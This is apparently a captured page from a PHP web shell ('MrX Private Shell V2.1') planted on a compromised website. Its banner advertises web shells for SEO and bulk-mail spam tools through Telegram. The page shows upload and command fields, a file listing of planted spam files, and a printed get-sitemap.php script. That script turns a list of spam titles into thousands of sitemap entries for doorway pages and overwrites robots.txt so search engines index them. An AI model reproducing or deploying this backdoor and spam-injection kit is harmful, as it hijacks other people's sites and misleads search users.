__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
function getFileRowCount($filename)
{
    $file = fopen($filename, "r");
    $rowCount = 0;

    while (!feof($file)) {
        fgets($file);
        $rowCount++;
    }

    fclose($file);

    return $rowCount;
}

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

if (isset($fullUrl)) {
    $parsedUrl = parse_url($fullUrl);
    $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
    $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
    $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
    $baseUrl = $scheme . "://" . $host . $path;

    $urlAsli = str_replace("get-sitemap.php", "", $baseUrl);

    $judulFile = "hajar.txt";
    if (!file_exists($judulFile)) {
        die("File hajar.txt tidak ditemukan");
    }

    $jumlahBaris = getFileRowCount($judulFile);
    $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    $maxPerSitemap = 10000;
    $chunks = array_chunk($fileLines, $maxPerSitemap);

    date_default_timezone_set('Asia/Bangkok');
    $currentTime = date('Y-m-d\TH:i:sP');

    $sitemapFiles = [];

    foreach ($chunks as $chunkIndex => $chunkLines) {
        $sitemapNumber = $chunkIndex + 1;
        $sitemapName = "sitemap_" . $sitemapNumber . ".xml";
        $sitemapFiles[] = $sitemapName;

        $sitemapFile = fopen($sitemapName, "w");
        fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
        fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);

        foreach ($chunkLines as $judul) {
            $sitemapLink = $urlAsli . '?go=' . urlencode($judul);

            fwrite($sitemapFile, '  <url>' . PHP_EOL);
            fwrite($sitemapFile, '    <loc>' . htmlspecialchars($sitemapLink, ENT_QUOTES | ENT_XML1, 'UTF-8') . '</loc>' . PHP_EOL);
            fwrite($sitemapFile, '    <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL);
            fwrite($sitemapFile, '    <changefreq>daily</changefreq>' . PHP_EOL);
            fwrite($sitemapFile, '  </url>' . PHP_EOL);
        }

        fwrite($sitemapFile, '</urlset>' . PHP_EOL);
        fclose($sitemapFile);
    }

    $sitemapIndexFile = fopen("sitemap_index.xml", "w");
    fwrite($sitemapIndexFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL);
    fwrite($sitemapIndexFile, '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL);

    foreach ($sitemapFiles as $sitemapName) {
        fwrite($sitemapIndexFile, '  <sitemap>' . PHP_EOL);
        fwrite($sitemapIndexFile, '    <loc>' . htmlspecialchars($urlAsli . $sitemapName, ENT_QUOTES | ENT_XML1, 'UTF-8') . '</loc>' . PHP_EOL);
        fwrite($sitemapIndexFile, '    <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL);
        fwrite($sitemapIndexFile, '  </sitemap>' . PHP_EOL);
    }

    fwrite($sitemapIndexFile, '</sitemapindex>' . PHP_EOL);
    fclose($sitemapIndexFile);

    $robotsTxt = "User-agent: *" . PHP_EOL;
    $robotsTxt .= "Allow: /" . PHP_EOL;
    $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap_index.xml" . PHP_EOL;
    file_put_contents('robots.txt', $robotsTxt);

    echo "ROIHEE SEO";
} else {
    echo "https://google.com.";
}
?>

Filemanager

Name Type Size Permission Actions
art.txt File 1.59 MB 0644
desc.txt File 671.66 KB 0644
get-sitemap.php File 3.23 KB 0644
hajar.txt File 2.63 MB 0644
index.php File 507.05 KB 0644
param.txt File 2 B 0644
robots.txt File 99 B 0644
sitemap_1.xml File 1.79 MB 0644
sitemap_2.xml File 2.54 MB 0644
sitemap_3.xml File 2.25 MB 0644
sitemap_4.xml File 2.47 MB 0644
sitemap_5.xml File 2.52 MB 0644
sitemap_6.xml File 2.51 MB 0644
sitemap_7.xml File 2.43 MB 0644
sitemap_8.xml File 2.38 MB 0644
sitemap_9.xml File 1.49 MB 0644
sitemap_index.xml File 1.46 KB 0644
title.txt File 8.98 KB 0644
Filemanager